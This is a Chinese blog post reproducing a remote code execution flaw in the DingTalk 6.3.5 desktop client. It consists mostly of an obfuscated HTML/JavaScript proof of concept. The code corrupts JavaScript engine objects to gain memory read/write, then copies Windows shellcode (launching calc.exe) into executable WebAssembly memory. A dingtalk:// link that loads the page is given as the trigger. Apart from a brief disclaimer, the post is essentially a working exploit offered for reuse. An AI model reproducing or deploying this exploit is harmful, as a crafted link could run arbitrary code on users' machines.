钉钉dingtalk=6.3.5版本RCE复现
看到网上公开了钉钉RCE的利用方式，第一时间来复现一下。
钉钉dingtalk=6.3.5版本RCE复现
免责声明：
本文章仅供学习和研究使用，严禁使用该文章内容对互联网其他应用进行非法操作，若将其用于非法目的，所造成的后果由您自行承担，产生的一切风险与本文作者无关，如继续阅读该文章即表明您默认遵守该内容。
影响版本：
钉钉dingtalk=6.3.5版本
漏洞POC：
<html>
<body>
<h1> test </h1>
<script>
var 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print(_0x510c7e){document[_0x1368('0x29','1027')](_0x1368('0x16','pndm')+_0x510c7e+_0x1368('0x19','@XkD'));}function hex(_0x2abe47){return _0x2abe47[_0x1368('0x45','Ob1V')](0x10)[_0x1368('0x3','@XkD')](0x10,'0');}function success_value(_0x140a70,_0x2c5308){console[_0x1368('0x11','THAJ')](_0x1368('0x15','ki5k')+_0x140a70+hex(_0x2c5308));}function wasm_func(){var _0x1ab208={'env':{'puts':function _0x36676a(_0x4b8a69){console[_0x1368('0x1b','*I%3')](_0x4b8a69);}}};var _0x364582=new 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_0x636073=0x0;_0x636073<0x10;_0x636073++){new Array(0x1000000);}}function debug(){for(let _0x1aae5c=0x0;_0x1aae5c<0x10000;_0x1aae5c++){for(let _0x206767=0x0;_0x206767<0x20000;_0x206767++){var _0x4e0be5=_0x4e0be5+_0x1aae5c+_0x206767;}}}global_object={};setPropertyViaEmbed=(_0x704953,_0xabb024,_0x54136d)=>{const _0x57fb88=document[_0x1368('0x5','qlp^')](_0x1368('0x3b','e8CW'));_0x57fb88[_0x1368('0x3a','h0rH')]=_0x54136d;_0x57fb88['type']=_0x1368('0x46','E5A6');Object['setPrototypeOf'](global_object,_0x57fb88);document[_0x1368('0x1f','4nv[')][_0x1368('0x35','ow9l')](_0x57fb88);_0x704953[_0x1368('0x23','p]KF')]=_0xabb024;_0x57fb88[_0x1368('0x25','QvKY')]();};createCorruptedPair=(_0x16735d,_0x65366a)=>{const _0x5a7565={'__proto__':global_object};_0x5a7565[_0x1368('0x47','*I%3')]=0x1;setPropertyViaEmbed(_0x5a7565,_0x65366a,()=>{Object[_0x1368('0x2c','e8CW')](global_object,null);_0x5a7565[_0x1368('0x8','Ub)S')]=_0x16735d;});const _0x2dc8d4={'__proto__':global_object};_0x2dc8d4[_0x1368('0x43','THAJ')]=0x1;setPropertyViaEmbed(_0x2dc8d4,_0x65366a,()=>{Object[_0x1368('0x1','@XkD')](global_object,null);_0x2dc8d4[_0x1368('0xb','*j!$')]=_0x16735d;_0x5a7565[_0x1368('0x2','5I39')]=1.1;});return[_0x5a7565,_0x2dc8d4];};const array=[5.5,1.1];array['prop']=0x1;const test1=new BigUint64Array(0x2);var oob_array=[1.1,2.2,3.3];obj_array={'m':0x539,'target':gc};ab=new ArrayBuffer(0x1337);gc();gc();gc();var test=[oob_array,oob_array,oob_array,oob_array,oob_array];test[_0x1368('0x41','qlp^')]=0x1;const [object_1,object_2]=createCorruptedPair(array,test);jit=(_0x166e60,_0x539576,_0x1ae253)=>{return _0x166e60['corrupted_prop'][_0x539576];};for(var i=0x0;i<0x10000;++i)jit(object_1,0x0);var leak=jit(object_2,0x0);elem=d2u(leak)[0x0];print('0x'+hex(elem));const num=u2d(elem+0x4,elem+0x4);const num2=u2d(elem,elem);proto2={};setPropertyViaEmbed2=(_0x3c4ce8,_0x5b3f78,_0x570b6e)=>{const _0x1411bc=document[_0x1368('0x3e','NbDf')](_0x1368('0x2d','54b8'));_0x1411bc[_0x1368('0x44','MqJl')]=_0x570b6e;_0x1411bc[_0x1368('0x0','QvKY')]=_0x1368('0x42','Xp#V');Object[_0x1368('0x1e','djTM')](proto2,_0x1411bc);document[_0x1368('0xd','h0rH')][_0x1368('0x3d','54b8')](_0x1411bc);_0x3c4ce8[_0x1368('0x33','4nv[')]=_0x5b3f78;_0x1411bc['remove']();};createCorruptedPair2=(_0x31208b,_0x4b08b5)=>{const _0x2fdefd={'__proto__':proto2};_0x2fdefd[_0x1368('0x27','pndm')]=0x1;setPropertyViaEmbed2(_0x2fdefd,_0x4b08b5,()=>{Object['setPrototypeOf'](proto2,null);_0x2fdefd[_0x1368('0x36','@XkD')]=_0x31208b;});const _0x5a6d27={'__proto__':proto2};_0x5a6d27[_0x1368('0x3c','XQdw')]=0x1;setPropertyViaEmbed2(_0x5a6d27,_0x4b08b5,()=>{Object[_0x1368('0x9','*I%3')](proto2,null);_0x5a6d27[_0x1368('0xc','eHuP')]=_0x31208b;_0x2fdefd[_0x1368('0x14','QvKY')]=1.1;});return[_0x2fdefd,_0x5a6d27];};const [object_3,object_4]=createCorruptedPair2(array,num2);jit22=(_0x15b278,_0x32c377)=>{_0x15b278[_0x1368('0x31','*clI')][_0x32c377]=num2;_0x15b278[_0x1368('0x12','1#r2')][_0x32c377+0x1]=1.1;return _0x15b278[_0x1368('0x1d','ow9l')][_0x32c377];};for(var i=0x0;i<0x100000;++i)jit22(object_3,0x0);var leak2=jit22(object_4,0x0);var object_idx=undefined;var object_idx_flag=undefined;for(let i=0x0;i<max_size;i++){if(d2u(oob_array[i])[0x0]==0xa72){print(_0x1368('0x2b','CQJJ')+i+_0x1368('0x18','O6t]'));print('target:\x20i:\x20'+i+'\x20hi\x201');object_idx=i;object_idx_flag=0x1;break;}if(d2u(oob_array[i])[0x1]==0xa72){print(_0x1368('0x7','3nrn')+i+_0x1368('0x2f','djTM'));print('target:\x20i:\x20'+(i+0x1)+_0x1368('0x18','O6t]'));object_idx=i+0x1;object_idx_flag=0x0;break;}}function addrof(_0x71fee0){obj_array[_0x1368('0x32','qlp^')]=_0x71fee0;return d2u(oob_array[object_idx])[object_idx_flag]-0x1;}var ab_addr=addrof(ab);print('test:\x20'+hex(ab_addr));var bk_idx=undefined;var bk_idx_flag=undefined;let flag=0x0;for(let i=0x0;i<max_size;i++){if(d2u(oob_array[i])[0x0]==0x1337){console[_0x1368('0x20','qxzt')](_0x1368('0x40','M*(X')+i+_0x1368('0x2e','1027'));console[_0x1368('0x37','ki5k')](_0x1368('0x17','Ob1V')+i+_0x1368('0xe','*I%3'));bk_idx=i;bk_idx_flag=0x1;break;}if(d2u(oob_array[i])[0x1]==0x1337){console['log']('m:\x20i:\x20'+i+_0x1368('0x24','qxzt'));console[_0x1368('0xf','0$K8')](_0x1368('0x10','1#r2')+(i+0x1)+_0x1368('0x30','roPh'));bk_idx=i+0x1;bk_idx_flag=0x0;break;}}var dv=new DataView(ab);var bk_addr=d2u(oob_array[bk_idx]);function get_32(_0x251c0e){var _0x524bc3=d2u(oob_array[bk_idx]);if(bk_idx_flag==0x0){oob_array[bk_idx]=u2d(_0x251c0e,_0x524bc3[0x1]);}else{oob_array[bk_idx]=u2d(_0x524bc3[0x0],_0x251c0e);}return dv['getUint32'](0x0,!![]);}function set_32(_0x2f8305,_0x1a3c26){var _0xd022f7=d2u(oob_array[bk_idx]);if(bk_idx_flag==0x0){oob_array[bk_idx]=u2d(_0x2f8305,_0xd022f7[0x1]);}else{oob_array[bk_idx]=u2d(_0xd022f7[0x0],_0x2f8305);}dv[_0x1368('0x1a','Ob1V')](0x0,_0x1a3c26,!![]);}function set_8(_0x5d0cd7,_0x575a5c){var _0x50493b=d2u(oob_array[bk_idx]);if(bk_idx_flag==0x0){oob_array[bk_idx]=u2d(_0x5d0cd7,_0x50493b[0x1]);}else{oob_array[bk_idx]=u2d(_0x50493b[0x0],_0x5d0cd7);}dv[_0x1368('0x34','tZnn')](0x0,_0x575a5c,!![]);}var wasm_func_addr=addrof(func);print(_0x1368('0x39','54b8')+hex(wasm_func_addr));var shared_info_addr=get_32(wasm_func_addr+0xc)-0x1;print(_0x1368('0x48','Xp#V')+hex(shared_info_addr));var export_function_data_addr=get_32(shared_info_addr+0x4)-0x1;print('export_function_data_addr\x20is:\x20'+hex(export_function_data_addr));var wasm_instance_addr=get_32(export_function_data_addr+0x8)-0x1;print(_0x1368('0x1c','p]KF')+hex(wasm_instance_addr));var rwx_addr=get_32(wasm_instance_addr+0x40);print(_0x1368('0x3f','M*(X')+hex(rwx_addr));var shellcode=new Uint8Array([0x89,0xe5,0x83,0xec,0x20,0x31,0xdb,0x64,0x8b,0x5b,0x30,0x8b,0x5b,0xc,0x8b,0x5b,0x1c,0x8b,0x1b,0x8b,0x1b,0x8b,0x43,0x8,0x89,0x45,0xfc,0x8b,0x58,0x3c,0x1,0xc3,0x8b,0x5b,0x78,0x1,0xc3,0x8b,0x7b,0x20,0x1,0xc7,0x89,0x7d,0xf8,0x8b,0x4b,0x24,0x1,0xc1,0x89,0x4d,0xf4,0x8b,0x53,0x1c,0x1,0xc2,0x89,0x55,0xf0,0x8b,0x53,0x14,0x89,0x55,0xec,0xeb,0x32,0x31,0xc0,0x8b,0x55,0xec,0x8b,0x7d,0xf8,0x8b,0x75,0x18,0x31,0xc9,0xfc,0x8b,0x3c,0x87,0x3,0x7d,0xfc,0x66,0x83,0xc1,0x8,0xf3,0xa6,0x74,0x5,0x40,0x39,0xd0,0x72,0xe4,0x8b,0x4d,0xf4,0x8b,0x55,0xf0,0x66,0x8b,0x4,0x41,0x8b,0x4,0x82,0x3,0x45,0xfc,0xc3,0xba,0x78,0x78,0x65,0x63,0xc1,0xea,0x8,0x52,0x68,0x57,0x69,0x6e,0x45,0x89,0x65,0x18,0xe8,0xb8,0xff,0xff,0xff,0x31,0xc9,0x51,0x68,0x2e,0x65,0x78,0x65,0x68,0x63,0x61,0x6c,0x63,0x89,0xe3,0x41,0x51,0x53,0xff,0xd0,0x31,0xc9,0xb9,0x1,0x65,0x73,0x73,0xc1,0xe9,0x8,0x51,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x89,0x65,0x18,0xe8,0x87,0xff,0xff,0xff,0x31,0xd2,0x52,0xff,0xd0]);for(let i=0x0;i<shellcode[_0x1368('0x21','h0rH')];i++)set_8(rwx_addr+i,shellcode[i]);func();
</script>
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</html>
漏洞复现：
触发方式：
dingtalk://dingtalkclient/page/link?url=127.0.0.1/teest2.html&pc_slide=true
存在漏洞版本下载地址：
本文来自博客园，作者：知冰，转载请注明原文链接：https://www.cnblogs.com/zhibing/p/16893837.html
